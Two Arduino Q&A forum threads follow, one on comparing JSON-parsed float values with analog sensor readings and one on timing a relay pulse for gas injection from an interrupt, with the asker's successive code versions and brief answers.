text:
Not able to add JSON data to Arduino data
In my recent project, I'm working with Arduino with JSON.
I made software on JSON. Now, I want to send data from this software to my Arduino. Serial communication is done between Arduino and JSON. But somehow, I can't able to get proper data from JSON to my Arduino. So, I google out and find library named ArduinoJson. And here, I found out example code. So, I tried out that code and modified based on my requirement.
Here, below is my code.
Now, Software sends me value. And I split it out into three variable MAP_Json, TPS_Json, and LOAD_Json.
In Arduino side, I have already the value of MAP, TPS, and LOAD.
So, now my main intention is to compare MAP_Json with MAP & TPS_Json with TPS. If they are matched then LOAD_Json is added to LOAD. But, when I try it out, then LOAD_Json not added to LOAD. I don't understand why this happened?
 #include <ArduinoJson.h>

//----------------------------For MAP calculation----------------------------//
float MAP_MIN = 0.85;
float MAP_MAX = 1.90;

int LOAD_MIN_MAP[] = {1, 2};
int LOAD_MAX_MAP[] = {3, 4};

float mMAP[2] = {};
float yMAP[2] = {};

int i, j, a;
float MAP, mFinalMAP, yFinalMAP;

//----------------------------For TPS calculation----------------------------//
float TPS_MIN = 0.00;
float TPS_MAX = 5.00;

int LOAD_MIN_TPS[] = {1, 3};
int LOAD_MAX_TPS[] = {2, 4};

float mTPS[2] = {};
float yTPS[2] = {};

int k, l, b;
float TPS, mFinalTPS, yFinalTPS;

//----------------------------For LOAD calculation---------------------------//
int LOAD_MIN = 2;
int LOAD_MAX = 100;

float injTime_MIN_LOAD[] = {8.00, 9.06};
float injTime_MAX_LOAD[] = {10.60, 11.86};

float mLOAD[2] = {};
float yLOAD[2] = {};

int m, n, c;
float LOAD, mFinalLOAD, yFinalLOAD;

//------------------------------ Variable ---------------------------------//

float load;

void setup()
{
  Serial.begin(9600);
}

void loop()
{
  //----------------------ARDUINO DATA-------------------------//

  //----------------------------MAP----------------------------//

  MAP = analogRead(A0) * (5.0 / 1023.0);

  for(a = 0; a < 2; a++)
  {
    mMAP[i] = (LOAD_MIN_MAP[a] - LOAD_MIN_MAP[a]) / (MAP_MAX - MAP_MIN);
    yMAP[j] = mMAP[i] * (MAP - MAP_MIN) + LOAD_MIN_MAP[a];
  }

  //----------------------------TPS----------------------------//

  TPS = analogRead(A1) * (5.0 / 1023.0);

  for(b = 0; b < 2; b++)
  {
    mTPS[k] = (LOAD_MAX_TPS[b] - LOAD_MIN_TPS[b]) / (TPS_MAX - TPS_MIN);
    yTPS[l] = mTPS[k] * (TPS - TPS_MIN) + LOAD_MIN_TPS[b];
  }

  //----------------TPS/MAP CALLIBRATION / LOAD----------------//

  mFinalTPS = (yMAP[1] - yMAP[0]) / (TPS_MAX - TPS_MIN);
  yFinalTPS = mFinalTPS * (TPS - TPS_MIN) + yMAP[0];

  mFinalMAP = (yTPS[1] - yTPS[0]) / (MAP_MAX - MAP_MIN);
  yFinalMAP = mFinalMAP * (MAP - MAP_MIN) + yTPS[0];

  LOAD = (yFinalTPS + yFinalMAP) / 2;

  Serial.print("T : ");
  Serial.print(TPS);
  Serial.print("\t");
  Serial.print("M : ");
  Serial.print(MAP);
  Serial.print("\t");
  Serial.print("L : ");
  Serial.print(LOAD);
  Serial.print("\t");

  while(!Serial)
  {
    // wait serial port initialization
  }

  StaticJsonBuffer<200> jsonBuffer;

  char json[] = "{\"TPS\":1.67, \"MAP\":1.83,\"LOAD\":30}"; // JSON DATA

  JsonObject& root = jsonBuffer.parseObject(json);

  // Test if parsing succeeds.
  if(!root.success())
  {
    Serial.println("parseObject() failed");
    return;
  }

  // Splitted JSON DATA

  float TPS_Json = root["TPS"];
  float MAP_Json = root["MAP"];
  float LOAD_Json = root["LOAD"];

  Serial.print("T_J : ");
  Serial.print(TPS_Json);
  Serial.print("\t");
  Serial.print("M_J : ");
  Serial.print(MAP_Json);
  Serial.print("\t");
  Serial.print("L_J : ");
  Serial.print(LOAD_Json);
  Serial.print("\t");

  //Compare JSON DATA and ARDUINO DATA

  if(TPS_Json == TPS && MAP_Json == MAP) //If matched
  {
    load = LOAD_Json + LOAD;            // Add LOAD_Json and LOAD
  }

  Serial.print("Final Load :");
  Serial.print(load);
  Serial.print("\n");
}

EDIT 1: Improve question formatting
EDIT 2: Upload Complete code

Downvoter, please tell me what is wrong?

What output do you expect to get, and what output do you actually get? Just saying "I can't do X" doesn't help us work out what you expect to happen and what is happening.

JSON isn't javascript its a way of representing data that uses a syntax derived from JS.  If you can't write your own parsing code then look at some of the libraries available.  I agree with the down vote, its not a well phrased question.

@Majenko ok...let me update question in more detail.

@CodeGorilla Ok...I think I have to clear all things.

What are MAP and TPS?

@Majenko TPS and MAP are just variables and they have just stored the value of sensors which are attached to analog pins.

There's no such thing as "just" a variable. I am assuming they are float but it all depends on how you defined them, which you omitted from your incomplete code.

Please edit your question to include a Minimal, Complete, and Verifiable example of code, not just snippets.   Minimal means you've stripped away irrelevant stuff, just leaving what's needed to show the problem.  Complete means all the library names are shown, all the variable declarations, and all the function definitions – so people don't have to waste time guessing what you did or what you meant. Verifiable means it can be compiled and tested, allowing other people to test their theories about the problem.

@Majenko Ok let me upload my complete code.

@JamesWaldby-jwpat7 Ok let me upload my complete code.

Comparison of floating point values is nigh on impossible. They aren't as accurate as you may think anyway, and two values have to be precisely the same to be considered equal - not something that is easy to achieve (23.4893782 != 23.4892480).
Instead you should either round them to a specific precision, or take the difference between the two values and decide if they are "close enough".
E.g.:
float diff = abs(TPS - TPS_Json);
if (diff < 0.5) {
    // do something
}

Ok...Got it. Let me try out this. Thank you for this.


text:
Can't operate relay's functionality in ISR function - SOLVED
In recent project, I have to operate my relay based on falling edge of Square wave. Here, falling edge detect by using interrupt. So, whenever Arduino detect falling edge using interrupt, ISR function called and in ISR function I perform my relay's functionality. Means whenever ISR function called, relay turn on for some milliseconds and then turn off. But whenever I connect relay, it's not operate. Here, relay connected with pin 13, so Arduino attached led blinking but not with full brightness. I don't understand why it's happened. Give me some suggestions.
Here, it's my code.
 //----------------------------For MAP calculation----------------------------//

const int kPinMAP = A0;       // MAP / Analog Pin A0

float MAP;

float MAP_MIN = 0.85;
float MAP_MAX = 1.90;

float LOAD_MIN_MAP_MIN = 2.00;
float LOAD_MAX_MAP_MIN = 15.00;

float LOAD_MIN_MAP_MAX = 10.00;
float LOAD_MAX_MAP_MAX = 85.00;

float mMAPmin;
float mMAPmax;

float yMAPmin;
float yMAPmax;

float mMAP;

float yMAP;

//---------------------------------------------------------------------------//

//----------------------------For TPS calculation----------------------------//

const int kPinTPS = A1;       // TPS / Analog Pin A1

float TPS;

float TPS_MIN = 0.00;
float TPS_MAX = 5.00;

float LOAD_MIN_TPS_MIN = 2.00;
float LOAD_MAX_TPS_MIN = 10.00;

float LOAD_MIN_TPS_MAX = 15.00;
float LOAD_MAX_TPS_MAX = 85.00;

float mTPSmin;
float mTPSmax;

float yTPSmin;
float yTPSmax;

float mTPS;

float yTPS;

//---------------------------------------------------------------------------//

//----------------------------For LOAD calculation---------------------------//

int LOAD_MIN = 2;
int LOAD_MAX = 100;

float injTime_MIN_LOAD_MIN = 4.00;
float injTime_MAX_LOAD_MIN = 4.60;

float injTime_MIN_LOAD_MAX = 8.06;
float injTime_MAX_LOAD_MAX = 14.86;

float LOAD;

float mLOADmin;
float mLOADmax;

float yLOADmin;
float yLOADmax;

float mLOAD;

float yLOAD;

//---------------------------------------------------------------------------//

//----------------------------For RPM calculation----------------------------//

const int kPinRPM = 3;        // RPM / Digital Pin 3
const int RPMInterrupt = 1;   // RPM's interrrupt pin

//--------------Pulse per revolution = 2 * cyclinders / cycles--------------//

byte engineCylinders = 2;         // Engine cylinders = 4;
byte engineCycles = 4;            // Engine cycle = 2
int refreshInterval = 750;        // Milliseconds between sensor updates
unsigned long previousMillis = 0;
volatile int RPMpulses = 0;
int RPM, Final_RPM;

int RPM_MIN = 400;
int RPM_MAX = 6000;

float injTime_MIN_RPM_MIN = 4.00;
float injTime_MAX_RPM_MIN = 8.06;

float injTime_MIN_RPM_MAX = 4.60;
float injTime_MAX_RPM_MAX = 14.86;

float mRPMmin;
float mRPMmax;

float yRPMmin;
float yRPMmax;

float mRPM;

float yRPM;

//---------------------------------------------------------------------------//

//------------------------For GAS PRESSURE calculation-----------------------//

const int kPinPressureGAS = A2;      // GAS Pressure / Analog Pin A2
float GAS_Pressure;

float minPosVolGas = 0.00;
float maxPosVolGas = 2.50;

float minInjPerPos = 0.35;
float maxInjPerPos = 0.00;

float minNagVolGas = 2.50;
float maxNagVolGas = 5.00;

float minInjPerNag = 0.00;
float maxInjPerNag = 0.25;

float mGasPos, mGasNag;
float yGasPos, yGasNag;

//---------------------------------------------------------------------------//

//----------------------For INJECTION TIME calculation-----------------------//

float yInjTime, injTime, gasInjTime;
const int kPinInj = 13;
int temp = 0;

//---------------------------------------------------------------------------//

void setup()
{
  Serial.begin(9600);

  pinMode(kPinRPM, INPUT_PULLUP); // Enable internal pullup
  attachInterrupt(RPMInterrupt, countRPM, FALLING); //Interrupt for RPM

  pinMode(kPinInj, OUTPUT);
  //digitalWrite(kPinInj, HIGH);
}

void loop()
{
  //----------------------------MAP----------------------------//

  MAP = analogRead(A0) * (5.0 / 1023.0);

  mMAPmin = (LOAD_MAX_MAP_MIN - LOAD_MIN_MAP_MIN) / (MAP_MAX - MAP_MIN);

  //Serial.print("mMAPmin : ");
  //Serial.println(mMAPmin);

  yMAPmin = mMAPmin * (MAP - MAP_MIN) + LOAD_MIN_MAP_MIN;

  //Serial.print("MAP : ");
  //Serial.print(MAP);
  //Serial.print("\t");
  //Serial.print("LOAD : ");
  //Serial.println(yMAPmin);

  mMAPmax = (LOAD_MAX_MAP_MAX - LOAD_MIN_MAP_MAX) / (MAP_MAX - MAP_MIN);

  //Serial.print("mMAPmax : ");
  //Serial.println(mMAPmax);

  yMAPmax = mMAPmax * (MAP - MAP_MIN) + LOAD_MIN_MAP_MAX;

  //Serial.print("MAP : ");
  //Serial.print(MAP);
  //Serial.print("\t");
  //Serial.print("LOAD : ");
  //Serial.println(yMAPmax);

  //-----------------------------------------------------------//

  //----------------------------TPS----------------------------//

  TPS = analogRead(A1) * (5.0 / 1023.0);

  mTPSmin = (LOAD_MAX_TPS_MIN - LOAD_MIN_TPS_MIN) / (TPS_MAX - TPS_MIN);

  //Serial.print("mTPSmin : ");
  //Serial.println(mTPSmin);

  yTPSmin = mTPSmin * (TPS - TPS_MIN) + LOAD_MIN_TPS_MIN;

  //Serial.print("TPS : ");
  //Serial.print(TPS);
  //Serial.print("\t");
  //Serial.print("LOAD : ");
  //Serial.println(yTPSmin);

  mTPSmax = (LOAD_MAX_TPS_MAX - LOAD_MIN_TPS_MAX) / (TPS_MAX - TPS_MIN);

  //Serial.print("mTPSmax : ");
  //Serial.println(mTPSmax);

  yTPSmax = mTPSmax * (TPS - TPS_MIN) + LOAD_MIN_TPS_MAX;

  //Serial.print("TPS : ");
  //Serial.print(TPS);
  //Serial.print("\t");
  //Serial.print("LOAD : ");
  //Serial.println(yTPSmax);

  //-----------------------------------------------------------//

  //----------------TPS/MAP CALLIBRATION / LOAD----------------//

  mTPS = (yMAPmax - yMAPmin) / (TPS_MAX - TPS_MIN);

  //Serial.print("mTPS : ");
  //Serial.println(mTPS);

  yTPS = mTPS * (TPS - TPS_MIN) + yMAPmin;

  Serial.print("TPS : ");
  Serial.print(TPS);
  Serial.print("\t");
  //Serial.print("LOAD : ");
  //Serial.print(yTPS);
  //Serial.print("\t");

  mMAP = (yTPSmax - yTPSmin) / (MAP_MAX - MAP_MIN);

  //Serial.print("mMAP : ");
  //Serial.println(mMAP);

  yMAP = mMAP * (MAP - MAP_MIN) + yTPSmin;

  Serial.print("MAP : ");
  Serial.print(MAP);
  Serial.print("\t");
  //Serial.print("LOAD : ");
  //Serial.print(yMAP);
  //Serial.print("\t");

  LOAD = (yTPS + yMAP) / 2;
  Serial.print("Final LOAD : ");
  Serial.print(LOAD);
  Serial.print("\t");

  //-----------------------------------------------------------//

  //----------------------------LOAD---------------------------//

  mLOADmin = (injTime_MAX_LOAD_MIN - injTime_MIN_LOAD_MIN) / (LOAD_MAX - LOAD_MIN);

  //Serial.print("mLOADmin : ");
  //Serial.println(mLOADmin);

  yLOADmin = mLOADmin * (LOAD - LOAD_MIN) + injTime_MIN_LOAD_MIN;

  //Serial.print("LOAD : ");
  //Serial.print(LOAD);
  //Serial.print("\t");
  //Serial.print("injTime : ");
  //Serial.println(yLOADmin);

  mLOADmax = (injTime_MAX_LOAD_MAX - injTime_MIN_LOAD_MAX) / (LOAD_MAX - LOAD_MIN);

  //Serial.print("mLOADmax : ");
  //Serial.println(mLOADmax);

  yLOADmax = mLOADmax * (LOAD - LOAD_MIN) + injTime_MIN_LOAD_MAX;

  //Serial.print("LOAD : ");
  //Serial.print(LOAD);
  //Serial.print("\t");
  //Serial.print("injTime : ");
  //Serial.println(yLOADmax);

  //-----------------------------------------------------------//

  //----------------------------RPM----------------------------//

  if(millis() - previousMillis > refreshInterval)
  {
    previousMillis = millis();
    RPM = getRPM();
  }

  mRPMmin = (injTime_MAX_RPM_MIN - injTime_MIN_RPM_MIN) / (RPM_MAX - RPM_MIN);

  //Serial.print("mRPMmin : ");
  //Serial.println(mRPMmin);

  yRPMmin = mRPMmin * (RPM - RPM_MIN) + injTime_MIN_RPM_MIN;

  //Serial.print("RPM : ");
  //Serial.print(RPM);
  //Serial.print("\t");
  //Serial.print("injTime : ");
  //Serial.println(yRPMmin);

  mRPMmax = (injTime_MAX_RPM_MAX - injTime_MIN_RPM_MAX) / (RPM_MAX - RPM_MIN);

  //Serial.print("mRPMmax : ");
  //Serial.println(mRPMmax);

  yRPMmax = mRPMmax * (RPM - RPM_MIN) + injTime_MIN_RPM_MAX;

  //Serial.print("RPM : ");
  //Serial.print(RPM);
  //Serial.print("\t");
  //Serial.print("injTime : ");
  //Serial.println(yRPMmax);

  //-----------------------------------------------------------//

  //-----------LOAD/RPM CALLIBRATION / INJECTION TIME----------//

  mLOAD = (yRPMmax - yRPMmin) / (LOAD_MAX - LOAD_MIN);

  //Serial.print("mLOAD : ");
  //Serial.println(mLOAD);

  yLOAD = mLOAD * (LOAD - LOAD_MIN) + yRPMmin;

  Serial.print("LOAD : ");
  Serial.print(LOAD);
  Serial.print("\t");
  //Serial.print("injTime : ");
  //Serial.print(yLOAD);
  //Serial.print("\t");

  mRPM = (yLOADmax - yLOADmin) / (RPM_MAX - RPM_MIN);

  //Serial.print("mRPM : ");
  //Serial.println(mRPM);

  yRPM = mRPM * (RPM - RPM_MIN) + yLOADmin;

  Serial.print("RPM : ");
  Serial.print(RPM);
  Serial.print("\t");
  //Serial.print("injTime : ");
  //Serial.print(yRPM);
  //Serial.print("\t");

  yInjTime = (yLOAD + yRPM) / 2;
  Serial.print("Final injTime : ");
  Serial.print(yInjTime);
  Serial.print("\t");

  injTime = (yInjTime * 1000) / 1000;
  Serial.print("Injection Time : ");
  Serial.print(injTime);
  Serial.print("\t");

  //-----------------------------------------------------------//

  //------------------------GAS_PRESSURE-----------------------//

  GAS_Pressure =  analogRead(A2) * (5.0 / 1023.0);
  Serial.print("GAS Pressure : ");
  Serial.print(GAS_Pressure);
  Serial.print("\t");

  mGasPos = (maxInjPerPos - minInjPerPos) / (maxPosVolGas - minPosVolGas);

  yGasPos = mGasPos * (GAS_Pressure - minPosVolGas) + minInjPerPos;
  //Serial.print("InjTimeY1 : ");
  //Serial.print(yGasPos);
  //Serial.print("\t");

  mGasNag = (maxInjPerNag - minInjPerNag) / (maxNagVolGas - minNagVolGas);

  yGasNag = mGasNag * (GAS_Pressure - minNagVolGas) + minInjPerNag;
  //Serial.print("InjTimeY2 : ");
  //Serial.print(yGasNag);
  //Serial.print("\t");

  if(GAS_Pressure >= 0.00 && GAS_Pressure < 2.50)
  {
    gasInjTime = injTime + (injTime * yGasPos);
    Serial.print("GASinjTimePos : ");
    Serial.print(gasInjTime);
    Serial.print("\n");
  }

  if(GAS_Pressure >= 2.50 && GAS_Pressure <= 5.00)
  {
    gasInjTime = injTime - (injTime * yGasNag);
    Serial.print("GASinjTimeNag : ");
    Serial.print(gasInjTime);
    Serial.print("\n");
  }
  //-----------------------------------------------------------//

}

//----------------------------RPM----------------------------//

void countRPM()
{
  RPMpulses++;

  digitalWrite(kPinInj, HIGH);
  delay(gasInjTime);
  digitalWrite(kPinInj, LOW);
}

int getRPM()
{
  Final_RPM = int(RPMpulses * (60000.0 / float(refreshInterval)) * engineCycles / engineCylinders / 2.0);
  RPMpulses = 0;
  Final_RPM = min(99999, Final_RPM);
  return Final_RPM;
}
//-----------------------------------------------------------//

After suggestion of Majenko and some modification(done by me) my updated code working fine. My relay operate very well. My OUTPUT Pin 13 Square Wave synchronized with INPUT Pin 2 Square Wave Here is my updated code :
//----------------------------For MAP calculation----------------------------//
float MAP_MIN = 0.85;
float MAP_MAX = 1.90;

int LOAD_MIN_MAP[] = {2, 10};
int LOAD_MAX_MAP[] = {15, 85};

float mMAP[2] = {};
float yMAP[2] = {};

int i, j, a;
float MAP, mFinalMAP, yFinalMAP;

//----------------------------For TPS calculation----------------------------//
float TPS_MIN = 0.00;
float TPS_MAX = 5.00;

int LOAD_MIN_TPS[] = {2, 15};
int LOAD_MAX_TPS[] = {10, 85};

float mTPS[2] = {};
float yTPS[2] = {};

int k, l, b;
float TPS, mFinalTPS, yFinalTPS;

//----------------------------For LOAD calculation---------------------------//
int LOAD_MIN = 2;
int LOAD_MAX = 100;

float injTime_MIN_LOAD[] = {4.00, 8.06};
float injTime_MAX_LOAD[] = {4.60, 14.86};

float mLOAD[2] = {};
float yLOAD[2] = {};

int m, n, c;
float LOAD, mFinalLOAD, yFinalLOAD;

//----------------------------For RPM calculation----------------------------//
const int kPinRPM = 3;        // RPM / Digital Pin 3
const int RPMInterrupt = 1;   // RPM's interrrupt pin
byte engineCylinders = 2;         // Engine cylinders = 4;
byte engineCycles = 4;            // Engine cycle = 2
int refreshInterval = 750;        // Milliseconds between sensor updates
unsigned long previousMillis = 0;
volatile int RPMpulses = 0;
int RPM, Final_RPM;

int RPM_MIN = 400;
int RPM_MAX = 6000;

float injTime_MIN_RPM[] = {4.00, 4.60};
float injTime_MAX_RPM[] = {8.06, 14.86};

float mRPM[2] = {};
float yRPM[2] = {};

int o, p, d;
float mFinalRPM, yFinalRPM;

//------------------------For GAS PRESSURE calculation-----------------------//
float minPosVolGas = 0.00;
float maxPosVolGas = 2.50;

float minInjPerPos = 0.35;
float maxInjPerPos = 0.00;

float minNagVolGas = 2.50;
float maxNagVolGas = 5.00;

float minInjPerNag = 0.00;
float maxInjPerNag = 0.25;

float GAS_Pressure, mGasPos, mGasNag, yGasPos, yGasNag;

//----------------------For INJECTION TIME calculation-----------------------//
float yInjTime, injTime, gasInjTime;
volatile uint32_t kInjTime = 0;

const int kPinInj = 13;

void setup()
{
  Serial.begin(9600);

  pinMode(kPinRPM, INPUT_PULLUP); // Enable internal pullup
  attachInterrupt(RPMInterrupt, countRPM, FALLING); //Interrupt for RPM

  pinMode(kPinInj, OUTPUT);
}

void loop()
{
  //----------------------------MAP----------------------------//

  MAP = analogRead(A0) * (5.0 / 1023.0);

  for(a = 0; a < 2; a++)
  {
    mMAP[i] = (LOAD_MIN_MAP[a] - LOAD_MIN_MAP[a]) / (MAP_MAX - MAP_MIN);
    yMAP[j] = mMAP[i] * (MAP - MAP_MIN) + LOAD_MIN_MAP[a];
  }

  //----------------------------TPS----------------------------//

  TPS = analogRead(A1) * (5.0 / 1023.0);

  for(b = 0; b < 2; b++)
  {
    mTPS[k] = (LOAD_MAX_TPS[b] - LOAD_MIN_TPS[b]) / (TPS_MAX - TPS_MIN);
    yTPS[l] = mTPS[k] * (TPS - TPS_MIN) + LOAD_MIN_TPS[b];
  }

  //----------------TPS/MAP CALLIBRATION / LOAD----------------//

  mFinalTPS = (yMAP[1] - yMAP[0]) / (TPS_MAX - TPS_MIN);
  yFinalTPS = mFinalTPS * (TPS - TPS_MIN) + yMAP[0];

  mFinalMAP = (yTPS[1] - yTPS[0]) / (MAP_MAX - MAP_MIN);
  yFinalMAP = mFinalMAP * (MAP - MAP_MIN) + yTPS[0];

  LOAD = (yFinalTPS + yFinalMAP) / 2;

  //----------------------------LOAD---------------------------//

  for(c = 0; c < 2; c++)
  {
    mLOAD[m] = (injTime_MAX_LOAD[c] - injTime_MIN_LOAD[c]) / (LOAD_MAX - LOAD_MIN);
    yLOAD[n] = mLOAD[m] * (LOAD - LOAD_MIN) + injTime_MIN_LOAD[c];
  }

  //----------------------------RPM----------------------------//

  if(millis() - previousMillis > refreshInterval)
  {
    previousMillis = millis();
    RPM = getRPM();
  }

  for(d = 0; d < 2; d++)
  {
    mRPM[o] = (injTime_MAX_RPM[d] - injTime_MIN_RPM[d]) / (RPM_MAX - RPM_MIN);
    yRPM[p] = mRPM[o] * (RPM - RPM_MIN) + injTime_MIN_RPM[d];
  }

  //-----------LOAD/RPM CALLIBRATION / INJECTION TIME----------//

  mFinalLOAD = (yRPM[1] - yRPM[0]) / (LOAD_MAX - LOAD_MIN);
  yFinalLOAD = mFinalLOAD * (LOAD - LOAD_MIN) + yRPM[0];

  mFinalRPM = (yLOAD[1] - yLOAD[0]) / (RPM_MAX - RPM_MIN);
  yFinalRPM = mFinalRPM * (RPM - RPM_MIN) + yLOAD[0];

  yInjTime = (yFinalLOAD + yFinalRPM) / 2;
  injTime = (yInjTime * 1000) / 1000;

  //------------------------GAS_PRESSURE-----------------------//

  GAS_Pressure =  analogRead(A2) * (5.0 / 1023.0);

  mGasPos = (maxInjPerPos - minInjPerPos) / (maxPosVolGas - minPosVolGas);
  yGasPos = mGasPos * (GAS_Pressure - minPosVolGas) + minInjPerPos;

  mGasNag = (maxInjPerNag - minInjPerNag) / (maxNagVolGas - minNagVolGas);
  yGasNag = mGasNag * (GAS_Pressure - minNagVolGas) + minInjPerNag;

  if(GAS_Pressure >= 0.00 && GAS_Pressure < 2.50)
  {
    gasInjTime = injTime + (injTime * yGasPos);
  }
  else if(GAS_Pressure >= 2.50 && GAS_Pressure <= 5.00)
  {
    gasInjTime = injTime - (injTime * yGasNag);
  }

  //--------------------Pulse Generation-----------------------//

  if((kInjTime > 0) && ((millis() - kInjTime) >= gasInjTime))
  {
    kInjTime = 0;
    digitalWrite(kPinInj, LOW);
  }
}

//----------------------------RPM----------------------------//

void countRPM()
{
  RPMpulses++;

  kInjTime = millis();
  digitalWrite(kPinInj, HIGH);
}

int getRPM()
{
  Final_RPM = int(RPMpulses * (60000.0 / float(refreshInterval)) * engineCycles / engineCylinders / 2.0);
  RPMpulses = 0;
  Final_RPM = min(99999, Final_RPM);
  return Final_RPM;
}
//-----------------------------------------------------------//

Here, it's my oscilloscope output after suggestion of user Majenko.
Purple one is INPUT Pin 2 Square wave and Yellow one is OUTPUT Pin 13 Square wave.It's perfectly synchronized.

Now, I want to see my all readings on serial monitor, so for that, I used Serial.print() line. But, now one problem is appeared. Because of this line, my OUTPUT Pin 13 Waveform not synchronized with INPUT Pin 2 Waveform:
Below my code after adding Serial.print() in my code to display readings on serial monitor. You can see bunch of lines of Serial.print() at the end of the code :
//----------------------------For MAP calculation----------------------------//
float MAP_MIN = 0.85;
float MAP_MAX = 1.90;

int LOAD_MIN_MAP[] = {2, 10};
int LOAD_MAX_MAP[] = {15, 85};

float mMAP[2] = {};
float yMAP[2] = {};

int i, j, a;
float MAP, mFinalMAP, yFinalMAP;

//----------------------------For TPS calculation----------------------------//
float TPS_MIN = 0.00;
float TPS_MAX = 5.00;

int LOAD_MIN_TPS[] = {2, 15};
int LOAD_MAX_TPS[] = {10, 85};

float mTPS[2] = {};
float yTPS[2] = {};

int k, l, b;
float TPS, mFinalTPS, yFinalTPS;

//----------------------------For LOAD calculation---------------------------//
int LOAD_MIN = 2;
int LOAD_MAX = 100;

float injTime_MIN_LOAD[] = {4.00, 8.06};
float injTime_MAX_LOAD[] = {4.60, 14.86};

float mLOAD[2] = {};
float yLOAD[2] = {};

int m, n, c;
float LOAD, mFinalLOAD, yFinalLOAD;

//----------------------------For RPM calculation----------------------------//
const int kPinRPM = 3;        // RPM / Digital Pin 3
const int RPMInterrupt = 1;   // RPM's interrrupt pin
byte engineCylinders = 2;         // Engine cylinders = 4;
byte engineCycles = 4;            // Engine cycle = 2
int refreshInterval = 750;        // Milliseconds between sensor updates
unsigned long previousMillis = 0;
volatile int RPMpulses = 0;
int RPM, Final_RPM;

int RPM_MIN = 400;
int RPM_MAX = 6000;

float injTime_MIN_RPM[] = {4.00, 4.60};
float injTime_MAX_RPM[] = {8.06, 14.86};

float mRPM[2] = {};
float yRPM[2] = {};

int o, p, d;
float mFinalRPM, yFinalRPM;

//------------------------For GAS PRESSURE calculation-----------------------//
float minPosVolGas = 0.00;
float maxPosVolGas = 2.50;

float minInjPerPos = 0.35;
float maxInjPerPos = 0.00;

float minNagVolGas = 2.50;
float maxNagVolGas = 5.00;

float minInjPerNag = 0.00;
float maxInjPerNag = 0.25;

float GAS_Pressure, mGasPos, mGasNag, yGasPos, yGasNag;

//----------------------For INJECTION TIME calculation-----------------------//
float yInjTime, injTime, gasInjTime;
volatile uint32_t kInjTime = 0;

const int kPinInj = 13;

void setup()
{
  Serial.begin(9600);

  pinMode(kPinRPM, INPUT_PULLUP); // Enable internal pullup
  attachInterrupt(RPMInterrupt, countRPM, FALLING); //Interrupt for RPM

  pinMode(kPinInj, OUTPUT);
}

void loop()
{
  //----------------------------MAP----------------------------//

  MAP = analogRead(A0) * (5.0 / 1023.0);

  for(a = 0; a < 2; a++)
  {
    mMAP[i] = (LOAD_MIN_MAP[a] - LOAD_MIN_MAP[a]) / (MAP_MAX - MAP_MIN);
    yMAP[j] = mMAP[i] * (MAP - MAP_MIN) + LOAD_MIN_MAP[a];
  }

  //----------------------------TPS----------------------------//

  TPS = analogRead(A1) * (5.0 / 1023.0);

  for(b = 0; b < 2; b++)
  {
    mTPS[k] = (LOAD_MAX_TPS[b] - LOAD_MIN_TPS[b]) / (TPS_MAX - TPS_MIN);
    yTPS[l] = mTPS[k] * (TPS - TPS_MIN) + LOAD_MIN_TPS[b];
  }

  //----------------TPS/MAP CALLIBRATION / LOAD----------------//

  mFinalTPS = (yMAP[1] - yMAP[0]) / (TPS_MAX - TPS_MIN);
  yFinalTPS = mFinalTPS * (TPS - TPS_MIN) + yMAP[0];

  mFinalMAP = (yTPS[1] - yTPS[0]) / (MAP_MAX - MAP_MIN);
  yFinalMAP = mFinalMAP * (MAP - MAP_MIN) + yTPS[0];

  LOAD = (yFinalTPS + yFinalMAP) / 2;

  //----------------------------LOAD---------------------------//

  for(c = 0; c < 2; c++)
  {
    mLOAD[m] = (injTime_MAX_LOAD[c] - injTime_MIN_LOAD[c]) / (LOAD_MAX - LOAD_MIN);
    yLOAD[n] = mLOAD[m] * (LOAD - LOAD_MIN) + injTime_MIN_LOAD[c];
  }

  //----------------------------RPM----------------------------//

  if(millis() - previousMillis > refreshInterval)
  {
    previousMillis = millis();
    RPM = getRPM();
  }

  for(d = 0; d < 2; d++)
  {
    mRPM[o] = (injTime_MAX_RPM[d] - injTime_MIN_RPM[d]) / (RPM_MAX - RPM_MIN);
    yRPM[p] = mRPM[o] * (RPM - RPM_MIN) + injTime_MIN_RPM[d];
  }

  //-----------LOAD/RPM CALLIBRATION / INJECTION TIME----------//

  mFinalLOAD = (yRPM[1] - yRPM[0]) / (LOAD_MAX - LOAD_MIN);
  yFinalLOAD = mFinalLOAD * (LOAD - LOAD_MIN) + yRPM[0];

  mFinalRPM = (yLOAD[1] - yLOAD[0]) / (RPM_MAX - RPM_MIN);
  yFinalRPM = mFinalRPM * (RPM - RPM_MIN) + yLOAD[0];

  yInjTime = (yFinalLOAD + yFinalRPM) / 2;
  injTime = (yInjTime * 1000) / 1000;

  //------------------------GAS_PRESSURE-----------------------//

  GAS_Pressure =  analogRead(A2) * (5.0 / 1023.0);

  mGasPos = (maxInjPerPos - minInjPerPos) / (maxPosVolGas - minPosVolGas);
  yGasPos = mGasPos * (GAS_Pressure - minPosVolGas) + minInjPerPos;

  mGasNag = (maxInjPerNag - minInjPerNag) / (maxNagVolGas - minNagVolGas);
  yGasNag = mGasNag * (GAS_Pressure - minNagVolGas) + minInjPerNag;

  if(GAS_Pressure >= 0.00 && GAS_Pressure < 2.50)
  {
    gasInjTime = injTime + (injTime * yGasPos);
  }
  else if(GAS_Pressure >= 2.50 && GAS_Pressure <= 5.00)
  {
    gasInjTime = injTime - (injTime * yGasNag);
  }

  //--------------------Pulse Generation-----------------------//

  if((kInjTime > 0) && ((millis() - kInjTime) >= gasInjTime))
  {
    kInjTime = 0;
    digitalWrite(kPinInj, LOW);
  }

  Serial.print("TPS : ");
  Serial.print(TPS);
  Serial.print("\t");
  Serial.print("MAP : ");
  Serial.print(MAP);
  Serial.print("\t");
  Serial.print("LOAD : ");
  Serial.print(LOAD);
  Serial.print("\t");
  Serial.print("RPM : ");
  Serial.print(RPM);
  Serial.print("\t");
  Serial.print("GAS Pressure : ");
  Serial.print(GAS_Pressure);
  Serial.print("\t");
  Serial.print("Injection Time : ");
  Serial.print(gasInjTime);
  Serial.print("\n");
}

//----------------------------RPM----------------------------//

void countRPM()
{
  RPMpulses++;

  kInjTime = millis();
  digitalWrite(kPinInj, HIGH);
}

int getRPM()
{
  Final_RPM = int(RPMpulses * (60000.0 / float(refreshInterval)) * engineCycles / engineCylinders / 2.0);
  RPMpulses = 0;
  Final_RPM = min(99999, Final_RPM);
  return Final_RPM;
}
//-----------------------------------------------------------//

My oscilloscope output. You can see no synchronization between that waveform. I don't know why this happens. Can I have to switch to ARDUINO MEGA because may be ARDUINO UNO processing speed not able to perform. Give some suggestion :

Comments are not for extended discussion; this conversation has been moved to chat.

Finally, problem solved. Just keep maximum baud rate.

Here is how I would do it:
volatile uint32_t injTime = 0;

